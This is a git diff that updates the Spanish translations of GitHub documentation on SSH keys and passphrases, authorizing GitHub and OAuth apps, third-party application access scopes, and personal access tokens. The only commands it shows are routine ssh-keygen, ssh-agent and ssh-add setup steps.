+Si eres miembro de una organización que provee certificados SSH, puedes usar tu certificado para acceder a los repositorios de esa organización sin agregar el certificado a tu cuenta de {% data variables.product.product_name %}. No puedes utilizar tu certificado para acceder a bifurcaciones de los repositorios de la organización que le pertenezcan a tu cuenta de usuario. Para obtener más información, consulta [Acerca de las autoridades de certificación de SSH](/articles/about-ssh-certificate-authorities)".
 
-## Further reading
+## Leer más
 
-- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)"
-- "[Testing your SSH connection](/articles/testing-your-ssh-connection)"
-- "[Troubleshooting SSH](/articles/troubleshooting-ssh)"
+- "[Comprobar claves SSH existentes](/articles/checking-for-existing-ssh-keys)"
+- "[Probar tu conexión SSH](/articles/testing-your-ssh-connection)"
+- "[Solucionar problemas de SSH](/articles/troubleshooting-ssh)"
diff --git a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
index 62f0449fb9..e42def2993 100644
--- a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
+++ b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
@@ -24,7 +24,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% mac %}
 
-{% include tool-switcher %}
 {% webui %}
 
 1. Copy the SSH public key to your clipboard.
@@ -59,8 +58,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% windows %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 1. Copy the SSH public key to your clipboard.
@@ -96,7 +93,6 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
 
 {% linux %}
 
-{% include tool-switcher %}
 {% webui %}
 
 1. Copy the SSH public key to your clipboard.
@@ -114,7 +110,7 @@ After adding a new SSH key to your account on {% ifversion ghae %}{% data variab
   **Tip:** Alternatively, you can locate the hidden `.ssh` folder, open the file in your favorite text editor, and copy it to your clipboard.
 
   {% endtip %}
-  
+
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
 4. Click **New SSH key** or **Add SSH key**.
diff --git a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/index.md b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/index.md
index f052a1f3f4..80bbb0de88 100644
--- a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/index.md
+++ b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/index.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting to GitHub with SSH
-intro: 'You can connect to {% data variables.product.product_name %} using the Secure Shell Protocol (SSH), which provides a secure channel over an unsecured network.'
+title: Conectar a GitHub con SSH
+intro: 'Puedes conectarte a {% data variables.product.product_name %} utilizando el Protocolo de Secure Shell (SSH), lo cual proporciona un canal seguro sobre una red insegura.'
 redirect_from:
   - /key-setup-redirect
   - /linux-key-setup
@@ -25,6 +25,6 @@ children:
   - /adding-a-new-ssh-key-to-your-github-account
   - /testing-your-ssh-connection
   - /working-with-ssh-key-passphrases
-shortTitle: Connect with SSH
+shortTitle: Conectarse con SSH
 ---
 
diff --git a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md
index d9c035e95a..5c1e7b3895 100644
--- a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md
+++ b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md
@@ -1,6 +1,6 @@
 ---
 title: Probar tu conexión SSH
-intro: 'After you''ve set up your SSH key and added it to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, you can test your connection.'
+intro: 'Después de que hayas configurado tu llave SSH y la hayas agregado a tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, podrás probar tu conexión.'
 redirect_from:
   - /articles/testing-your-ssh-connection
   - /github/authenticating-to-github/testing-your-ssh-connection
diff --git a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
index f9dfd3f00c..fb9da0359b 100644
--- a/translations/es-ES/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
+++ b/translations/es-ES/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
@@ -1,6 +1,6 @@
 ---
-title: Working with SSH key passphrases
-intro: You can secure your SSH keys and configure an authentication agent so that you won't have to reenter your passphrase every time you use your SSH keys.
+title: Trabajar con contraseñas de clave SSH
+intro: Puedes asegurar tus claves SSH y configurar un agente de autenticación para no tener que volver a ingresar tu contraseña cada vez que uses tus claves SSH.
 redirect_from:
   - /ssh-key-passphrases
   - /working-with-key-passphrases
@@ -14,13 +14,14 @@ versions:
   ghec: '*'
 topics:
   - SSH
-shortTitle: SSH key passphrases
+shortTitle: Frases de acceso de llave SSH
 ---
-With SSH keys, if someone gains access to your computer, they also gain access to every system that uses that key. To add an extra layer of security, you can add a passphrase to your SSH key. You can use `ssh-agent` to securely save your passphrase so you don't have to reenter it.
 
-## Adding or changing a passphrase
+Con las claves SSH, si alguien obtiene acceso a tu computadora, también tiene acceso a cada sistema que usa esa clave. Para agregar una capa extra de seguridad, puedes incluir una contraseña a tu clave SSH. Puedes usar `ssh-agent` para guardar tu contraseña de forma segura y no tener que volver a ingresarla.
 
-You can change the passphrase for an existing private key without regenerating the keypair by typing the following command:
+## Agregar o cambiar una contraseña
+
+Puedes cambiar la contraseña por una llave privada existente sin volver a generar el par de claves al escribir el siguiente comando:
 
 ```shell
 $ ssh-keygen -p -f ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
@@ -31,13 +32,13 @@ $ ssh-keygen -p -f ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}
 > Your identification has been saved with the new passphrase.
 ```
 
-If your key already has a passphrase, you will be prompted to enter it before you can change to a new passphrase.
+Si tu clave ya tiene una contraseña, se te pedirá que la ingreses antes de que puedas cambiar a una nueva contraseña.
 
 {% windows %}
 
-## Auto-launching `ssh-agent` on Git for Windows
+## Auto-lanzamiento `ssh-agent` en Git para Windows
 
-You can run `ssh-agent` automatically when you open bash or Git shell. Copy the following lines and paste them into your `~/.profile` or `~/.bashrc` file in Git shell:
+Puedes ejecutar el `ssh-agent` automáticamente cuando abres el bash o el Git shell. Copia las siguientes líneas y pégalas en tu `~/.perfil` o archivo `~/.bashrc` en Git Shell:
 
 ``` bash
 env=~/.ssh/agent.env
@@ -63,15 +64,15 @@ fi
 unset env
 ```
 
-If your private key is not stored in one of the default locations (like `~/.ssh/id_rsa`), you'll need to tell your SSH authentication agent where to find it. To add your key to ssh-agent, type `ssh-add ~/path/to/my_key`. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/)"
+Si tu llave privada no está almacenada en una de las ubicaciones predeterminadas (como`~/.ssh/id_rsa`), necesitarás indicar a tu agente de autenticación SSH en dónde encontrarla. Para agregar tu clave a ssh-agent, escribe `ssh-add ~/path/to/my_key`. Para obtener más información, consulta "[Generar una nueva clave SSH y agregarla a ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent/)"
 
 {% tip %}
 
-**Tip:** If you want `ssh-agent` to forget your key after some time, you can configure it to do so by running `ssh-add -t <seconds>`.
+**Sugerencias:** si quieres que `ssh-agent` olvide tu clave luego de un tiempo, puedes configurarlo para que lo haga ejecutando `ssh-add -t <seconds>`.
 
 {% endtip %}
 
-Now, when you first run Git Bash, you are prompted for your passphrase:
+Ahora, cuando ejecutas Git Bash por primera vez, se te pedirá tu contraseña:
 
 ```shell
 > Initializing new SSH agent...
@@ -84,25 +85,25 @@ Now, when you first run Git Bash, you are prompted for your passphrase:
 > Run 'git help <command>' to display help for specific commands.
 ```
 
-The `ssh-agent` process will continue to run until you log out, shut down your computer, or kill the process.
+El proceso de `ssh-agent` continuará funcionando hasta que cierres sesión, apagues tu computadora o termines el proceso.
 
 {% endwindows %}
 
 {% mac %}
 
-## Saving your passphrase in the keychain
+## Guardar tu contraseña en keychain
 
-On Mac OS X Leopard through OS X El Capitan, these default private key files are handled automatically:
+En Mac OS X Leopard y hasta OS X El Capitan, estos archivos de llave privada predeterminada se manejan automáticamente:
 
 - *.ssh/id_rsa*
 - *.ssh/identity*
 
-The first time you use your key, you will be prompted to enter your passphrase. If you choose to save the passphrase with your keychain, you won't have to enter it again.
+La primera vez que usas tu clave, se te pedirá que ingreses tu contraseña. Si eliges guardar la contraseña con tu keychain, no necesitarás ingresarla nuevamente.
 
-Otherwise, you can store your passphrase in the keychain when you add your key to the ssh-agent. For more information, see "[Adding your SSH key to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)."
+De lo contrario, puedes almacenar tu contraseña en la keychain cuando agregues tu clave a ssh-agent. Para obtener más información, consulta "[Agregar tu clave SSH a ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)."
 
 {% endmac %}
 
-## Further reading
+## Leer más
 
-- "[About SSH](/articles/about-ssh)"
+- "[Acerca de SSH](/articles/about-ssh)"
diff --git a/translations/es-ES/content/authentication/index.md b/translations/es-ES/content/authentication/index.md
index 4e209b3382..511f0b7f6b 100644
--- a/translations/es-ES/content/authentication/index.md
+++ b/translations/es-ES/content/authentication/index.md
@@ -1,6 +1,6 @@
 ---
-title: Authentication
-intro: 'Keep your account and data secure with features like {% ifversion not ghae %}two-factor authentication, {% endif %}SSH{% ifversion not ghae %},{% endif %} and commit signature verification.'
+title: Autenticación
+intro: 'Manten tu cuenta y datos seguros con características como {% ifversion not ghae %}la autenticación bifactoria, {% endif %}SSH{% ifversion not ghae %},{% endif %} y la verificación de firmas de las confirmaciones.'
 redirect_from:
   - /categories/56/articles
   - /categories/ssh
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md
index c6949a25c9..e227d53b5a 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Authorizing GitHub Apps
-intro: 'You can authorize a {% data variables.product.prodname_github_app %} to allow an application to retrieve information about your {% data variables.product.prodname_dotcom %} account and, in some circumstances, to make changes on {% data variables.product.prodname_dotcom %} on your behalf.'
+title: Autorizar las GitHub Apps
+intro: 'Puedes autorizar a una {% data variables.product.prodname_github_app %} para que permita que una aplicación recupere información sobre tu cuenta de {% data variables.product.prodname_dotcom %} y, en algunos casos, para hacer cambios en {% data variables.product.prodname_dotcom %} en tu nombre.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,44 +13,41 @@ redirect_from:
   - /github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps
 ---
 
-Third-party applications that need to verify your {% data variables.product.prodname_dotcom %} identity, or interact with the data on {% data variables.product.prodname_dotcom %} on your behalf, can ask you to authorize the {% data variables.product.prodname_github_app %} to do so. 
+Las aplicaciones de terceros que necesitan verificar tu identidad de {% data variables.product.prodname_dotcom %} o interactuar con los datos de {% data variables.product.prodname_dotcom %} en tu nombre pueden pedirte que autorices la {% data variables.product.prodname_github_app %} para hacerlo.
 
-When authorizing the {% data variables.product.prodname_github_app %}, you should ensure you trust the application, review who it's developed by, and review the kinds of information the application wants to access.
+Al autorizar la {% data variables.product.prodname_github_app %}, deberías asegurarte de que confías en la aplicación, revisar quién la desarrolló y revisar los tipos de información a la que desea acceder la aplicación.
 
-During authorization, you'll be prompted to grant the {% data variables.product.prodname_github_app %} permission to:
-* **Verify your {% data variables.product.prodname_dotcom %} identity**<br/>
-  When authorized, the {% data variables.product.prodname_github_app %} will be able to programmatically retrieve your public GitHub profile, as well as some private details (such as your email address), depending on the level of access requested.
-* **Know which resources you can access**<br/>
-  When authorized, the {% data variables.product.prodname_github_app %} will be able to programmatically read the _private_ {% data variables.product.prodname_dotcom %} resources that you can access (such as private  {% data variables.product.prodname_dotcom %}  repositories) _where_ an installation of the {% data variables.product.prodname_github_app %} is also present. The application may use this, for example, so that it can show you an appropriate list of repositories.
-* **Act on your behalf**<br/>
-  The application may need to perform tasks on {% data variables.product.prodname_dotcom %}, as you. This might include creating an issue, or commenting on a pull request. This ability to act on your behalf is limited to the {% data variables.product.prodname_dotcom %} resources where _both_ you and the {% data variables.product.prodname_github_app %} have access. In some cases, however, the application may never make any changes on your behalf.
-  
-## When does a {% data variables.product.prodname_github_app %} act on your behalf?
+Durante la autorización, se te pedirá que otorgues el permiso de {% data variables.product.prodname_github_app %} para:
+* **Verifica tu identidad de {% data variables.product.prodname_dotcom %}**<br/> Cuando se te autorice, la {% data variables.product.prodname_github_app %} podrá recuperar tu perfil público de GitHub mediante programación, así como algunos detalles privados (tal como tu dirección de correo electrónico), dependiendo del nivel de acceso solicitado.
+* **Puedes saber a qué recursos puedes acceder**<br/> Cuando se te autorice, la {% data variables.product.prodname_github_app %} podrá leer mediante programación los recursos _privados_ {% data variables.product.prodname_dotcom %} a los que puedes acceder (tales como los repositorios privados de {% data variables.product.prodname_dotcom %}) _en donde_ también está presente una instalación de la {% data variables.product.prodname_github_app %}. La aplicación podría utilizar esto, por ejemplo, para que pueda mostrarte una lista adecuada de repositorios.
+* **Actuar en tu nombre**<br/> La aplicación podría necesitar realizar tareas en {% data variables.product.prodname_dotcom %} como si fueras tú. Esto podría incluir el crear una propuesta o comentar en una solicitud de cambios. Esta capacidad de actuar en tu nombre se limita a los recursos de {% data variables.product.prodname_dotcom %} en donde _tanto_ tú como la {% data variables.product.prodname_github_app %} tengan acceso. Sin embargo, en algunos casos, la aplicación podría jamás hacer cambios en tu nombre.
 
-The situations in which a {% data variables.product.prodname_github_app %} acts on your behalf vary according to the purpose of the {% data variables.product.prodname_github_app %} and the context in which it is being used. 
+## ¿Cuándo actúa una {% data variables.product.prodname_github_app %} en tu nombre?
 
-For example, an integrated development environment (IDE) may use a {% data variables.product.prodname_github_app %} to interact on your behalf in order to push changes you have authored through the IDE back to repositories on {% data variables.product.prodname_dotcom %}.  The {% data variables.product.prodname_github_app %} will achieve this through a [user-to-server request](/get-started/quickstart/github-glossary#user-to-server-request).
+Las situaciones en las cuales una {% data variables.product.prodname_github_app %} actúa en tu nombre varían de acuerdo con el propósito de la {% data variables.product.prodname_github_app %} y el contexto en el cual se utiliza.
 
-When a {% data variables.product.prodname_github_app %} acts on your behalf in this way, this is identified on GitHub via a special icon that shows a small avatar for the {% data variables.product.prodname_github_app %} overlaid onto your own avatar, similar to the one shown below.
+Por ejemplo, un ambiente de desarrollo integrado (IDE) podría utilizar una {% data variables.product.prodname_github_app %} para interactuar en tu nombre para subir los cambios que son de tu autoría a través del IDE de vuelta a los repositorios en {% data variables.product.prodname_dotcom %}.  La {% data variables.product.prodname_github_app %} logrará esto mediante una [solicitud de usuario a servidor](/get-started/quickstart/github-glossary#user-to-server-request).
 
-![An issue created by a "user-to-server" request from a {% data variables.product.prodname_github_app %}](/assets/images/help/apps/github-apps-new-issue.png)
+Cuando una {% data variables.product.prodname_github_app %} actúa en tu nombre de esta forma, esto lo identifica GitHub a través de un icono especial que muestra un avatar pequeño de la {% data variables.product.prodname_github_app %} sobre tu propio avatar, similar al que se muestra a continuación.
 
-## To what extent can a {% data variables.product.prodname_github_app %} know which resources you can access  and act on your behalf?
+![Una propuesta que creó una solicitud de "usuario a servidor" desde una {% data variables.product.prodname_github_app %}](/assets/images/help/apps/github-apps-new-issue.png)
 
-The extent to which a {% data variables.product.prodname_github_app %} can know which resources you can access and act on your behalf, after you have authorized it, is limited by:
+## ¿Hasta qué punto puede una {% data variables.product.prodname_github_app %} saber a qué recursos puedes acceder y actuar en tu nombre?
 
-* The organizations or repositories on which the app is installed 
-* The permissions the app has requested
-* Your access to {% data variables.product.prodname_dotcom %} resources
+El grado en el que una {% data variables.product.prodname_github_app %} puede saber a qué recursos puedes acceder y actuar en tu nombre, después de que la has autorizado, se limita por:
 
-Let's use an example to explain this.
+* Las organizaciones o repositorios en los cuales se instaló la app
+* Los permisos que la app solicitó
+* Tu acceso a los recursos de {% data variables.product.prodname_dotcom %}
 
-{% data variables.product.prodname_dotcom %} user Alice logs into a third-party web application, ExampleApp, using their {% data variables.product.prodname_dotcom %} identity. During this process, Alice authorizes ExampleApp to perform actions on their behalf.
+Utilicemos un ejemplo para explicar esto.
 
-However, the activity ExampleApp is able to perform on Alice's behalf in {% data variables.product.prodname_dotcom %} is constrained by: the repositories on which ExampleApp is installed, the permissions ExampleApp has requested, and Alice's access to {% data variables.product.prodname_dotcom %} resources. 
+{% data variables.product.prodname_dotcom %} el usuario Alice inicia sesión en una aplicación web de un tercero, ExampleApp, utilizando su identidad de {% data variables.product.prodname_dotcom %}. Durante este proceso, Alice autoriza a ExampleApp para que realice acciones en su nombre.
 
-This means that, in order for ExampleApp to create an issue on Alice's behalf, in a repository called Repo A, all of the following must be true:
+Sin embargo, la actividad que ExampleApp puede realizar en nombre de Alice en {% data variables.product.prodname_dotcom %} está limitada por: los repositorios en los cuales se instaló ExampleApp, los permisos que solicitó ExampleApp y el acceso de Alice a los recursos de {% data variables.product.prodname_dotcom %}.
 
-* ExampleApp's {% data variables.product.prodname_github_app %} requests write access to issues.
-* A user having admin access for Repo A must have installed ExampleApp's {% data variables.product.prodname_github_app %} on Repo A.
-* Alice must have read permission for Repo A. For information about which permissions are required to perform various activities, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Esto significa que, para que la ExampleApp cree una propuesta en nombre de Alice, en un repositorio llamado Repo A, todo lo siguiente debe suceder:
+
+* La {% data variables.product.prodname_github_app %} de ExampleApp solicita acceso de escritura para las propuestas.
+* Un usuario que tiene acceso administrativo para el Repo A debe tener instalada la {% data variables.product.prodname_github_app %} de ExampleApp en este.
+* Alice debe tener permisos de lectura para el Repo A. Para obtener más información sobre qué permisos se requieren para realizar diversas actividades, consulta la sección "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md
index 1dba6b3c8f..0583e139b7 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md
@@ -15,7 +15,7 @@ topics:
   - Access management
 ---
 
-When an {% data variables.product.prodname_oauth_app %} wants to identify you by your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, you'll see a page with the app's developer contact information and a list of the specific data that's being requested.
+Cuando una {% data variables.product.prodname_oauth_app %} quiere identificarte mediante tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, verás una página con la información de contacto del desarrollador de la app y una lista de los datos específicos que se están solicitando.
 
 {% ifversion fpt or ghec %}
 
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
index e70e25bdd2..52ea4800a5 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting with third-party applications
-intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.'
+title: Conectar con aplicaciones de terceros
+intro: 'Puedes conectar tu identidad {% data variables.product.product_name %} con aplicaciones de terceros mediante OAuth. Al autorizar una de estas aplicaciones, deberías asegurarte de que confías en la aplicación, revisar quién la desarrolló y revisar los tipos de información a la que desea acceder la aplicación.'
 redirect_from:
   - /articles/connecting-with-third-party-applications
   - /github/authenticating-to-github/connecting-with-third-party-applications
@@ -13,65 +13,66 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Third-party applications
+shortTitle: Aplicaciones de terceros
 ---
-When a third-party application wants to identify you by your {% data variables.product.product_name %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested.
 
-## Contacting the application developer
+Cuando una aplicación de terceros desea identificarte mediante tu inicio de sesión de {% data variables.product.product_name %}, verás una página con la información de contacto del programador y una lista de los datos específicos que se han solicitado.
 
-Because an application is developed by a third-party who isn't {% data variables.product.product_name %}, we don't know exactly how an application uses the data it's requesting access to. You can use the developer information at the top of the page to contact the application admin if you have questions or concerns about their application.
+## Contactarse con el programador de la aplicación
 
-![{% data variables.product.prodname_oauth_app %} owner information](/assets/images/help/platform/oauth_owner_bar.png)
+Dado que una aplicación está desarrollada por un tercero que no es {% data variables.product.product_name %}, no sabemos exactamente cómo una aplicación usa los datos a los que solicita acceso. Puedes usar la información del programador en la parte superior de la página para contactarte con el administrador de la aplicación si tienes preguntas o inquietudes sobre tu aplicación.
 
-If the developer has chosen to supply it, the right-hand side of the page provides a detailed description of the application, as well as its associated website.
+![Información del propietario de {% data variables.product.prodname_oauth_app %}](/assets/images/help/platform/oauth_owner_bar.png)
 
-![OAuth application information and website](/assets/images/help/platform/oauth_app_info.png)
+Si el programador ha elegido suministrarla, el lateral derecho de la página brinda una descripción detallada de la aplicación, así como su sitio web asociado.
 
-## Types of application access and data
+![Información de la aplicación OAuth y sitio web](/assets/images/help/platform/oauth_app_info.png)
 
-Applications can have *read* or *write* access to your {% data variables.product.product_name %} data.
+## Tipos de acceso a la aplicación y datos
 
-- **Read access** only allows an application to *look at* your data.
-- **Write access** allows an application to *change* your data.
+Las aplicaciones pueden tener acceso de *lectura* o *escritura* a tus datos de {% data variables.product.product_name %}.
 
-### About OAuth scopes
+- El **acceso de lectura** solo permite que una aplicación *mire* tus datos.
+- El **acceso de escritura** permite que una aplicación *cambie* tus datos.
 
-*Scopes* are named groups of permissions that an application can request to access both public and non-public data.
+### Acerca de los alcances de OAuth
 
-When you want to use a third-party application that integrates with {% data variables.product.product_name %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)."
+*Alcances* son grupos de permisos designados que una aplicación puede solicitar para acceder a los datos públicos y no públicos.
+
+Cuando quieres usar una aplicación de terceros que se integra con {% data variables.product.product_name %}, esa aplicación te permite conocer qué tipo de acceso a tus datos serán necesarios. Si otorgas acceso a la aplicación, la aplicación podrá realizar acciones en tu nombre, como leer o modificar datos. Por ejemplo, si quieres usar una app que solicita el alcance `usuario:correo electrónico`, la app solo tendrá acceso de lectura a tus direcciones de correo electrónico privado. Para obtener más información, consulta la sección "[Acerca de los alcances para {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)".
 
 {% tip %}
 
-**Note:** Currently, you can't scope source code access to read-only.
+**Nota:** Actualmente, no puedes demarcar el acceso al código fuente a solo lectura.
 
 {% endtip %}
 
-### Types of requested data
+### Tipos de datos solicitados
 
-There are several types of data that applications can request.
+Existen varios tipos de datos que las aplicaciones pueden solicitar.
 
-![OAuth access details](/assets/images/help/platform/oauth_access_types.png)
+![Detalles de acceso a OAuth](/assets/images/help/platform/oauth_access_types.png)
 
 {% tip %}
 
-**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %}
+**Sugerencia:** {% data reusables.user_settings.review_oauth_tokens_tip %}
 
 {% endtip %}
 
-| Type of data | Description |
-| --- | --- |
-| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they <em>can</em> read and write status information against a specific commit. |
-| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. |
-| Gists | [Gist](https://gist.github.com) access allows applications to read or write to {% ifversion not ghae %}both your public and{% else %}both your internal and{% endif %} secret Gists. |
-| Hooks | [Webhooks](/webhooks) access allows applications to read or write hook configurations on repositories you manage. |
-| Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. |
-| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. |
-| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. |
-| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." |
-| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. |
+| Tipos de datos               | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Estado de confirmación       | Puedes otorgar acceso a una aplicación de terceros para que informe tu estado de confirmación. El acceso al estado de confirmación permite que las aplicaciones determinen si una construcción es exitosa frente a una confirmación específica. Las aplicaciones no tendrán acceso a tu código, pero <em>pueden</em> leer y escribir la información del estado frente a una confirmación específica.                          |
+| Implementaciones             | El acceso a los estados de despliegue les permite a las aplicaciones determinar si un despliegue es exitoso contra una confirmación específica para un repositorio. Las aplicaciones no tendrán acceso a tu código.                                                                                                                                                                                                                   |
+| Gists                        | El acceso a los [Gists](https://gist.github.com) permite a las aplicaciones leer o escribir tanto en{% ifversion not ghae %}tus gists públicos y{% else %}tus gists internos y{% endif %} secretos.                                                                                                                                                                                                                                   |
+| Ganchos                      | El acceso a [webhooks](/webhooks) permite que las aplicaciones lean o escriban configuraciones de gancho en los repositorios que administras.                                                                                                                                                                                                                                                                                         |
+| Notificaciones               | El acceso a las notificaciones permite a las aplicaciones leer tus notificaciones de {% data variables.product.product_name %}, tales como los comentarios sobre las propuestas y las solicitudes de cambios. Sin embargo, las aplicaciones permanecen inhabilitadas para acceder a tus repositorios.                                                                                                                                 |
+| Organizaciones y equipos     | El acceso a organizaciones y equipos permite que las apps accedan y administren la membresía de la organización y del equipo.                                                                                                                                                                                                                                                                                                         |
+| Datos personales del usuario | Entre los datos del usuario se incluye información que se encuentra en tu perfil de usuario, como tu nombre, dirección de correo electrónico y ubicación.                                                                                                                                                                                                                                                                             |
+| Repositorios                 | La información del repositorio incluye los nombres de los colaboradores, las ramas que creaste y los archivos actuales dentro de tu repositorio. Una aplicación puede solicitar acceso a todos tus repositorios en cualquier nivel de visibilidad. Para obtener más información, consulta la sección "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". |
+| Eliminación de repositorio   | Las aplicaciones pueden solicitar la eliminación de los repositorios que administras,, pero no tendrán acceso a tu código.                                                                                                                                                                                                                                                                                                            |
 
-## Requesting updated permissions
+## Solicitar permisos actualizados
 
-Applications can request new access privileges. When asking for updated permissions, the application will notify you of the differences.
+Las aplicaciones pueden solicitar nuevos privilegios de acceso. Al solicitar permisos actualizados, la aplicación te notificará de las diferencias.
 
-![Changing third-party application access](/assets/images/help/platform/oauth_existing_access_pane.png)
+![Cambiar el acceso a aplicaciones de terceros](/assets/images/help/platform/oauth_existing_access_pane.png)
diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
index da65603203..09b2bb8c4b 100644
--- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
+++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a personal access token
-intro: You should create a personal access token to use in place of a password with the command line or with the API.
+title: Crear un token de acceso personal
+intro: Debes crear un token de acceso personal para utilizar como contraseña con la línea de comandos o con la API.
 redirect_from:
   - /articles/creating-an-oauth-token-for-command-line-use
   - /articles/creating-an-access-token-for-command-line-use
@@ -16,68 +16,65 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Create a PAT
+shortTitle: Crear un PAT
 ---
 
 {% note %}
 
-**Note:** If you use {% data variables.product.prodname_cli %} to authenticate to {% data variables.product.product_name %} on the command line, you can skip generating a personal access token and authenticate via the web browser instead. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
+**Nota:** Si utilizas el {% data variables.product.prodname_cli %} para autenticarte en {% data variables.product.product_name %} en la línea de comandos, puedes omitir el generar un token de acceso personal y autenticarte a través del buscador web en su lugar. Para obtener más información sobre cómo autenticarte con el {% data variables.product.prodname_cli %}, consulta la sección [`gh auth login`](https://cli.github.com/manual/gh_auth_login).
 
 {% endnote %}
 
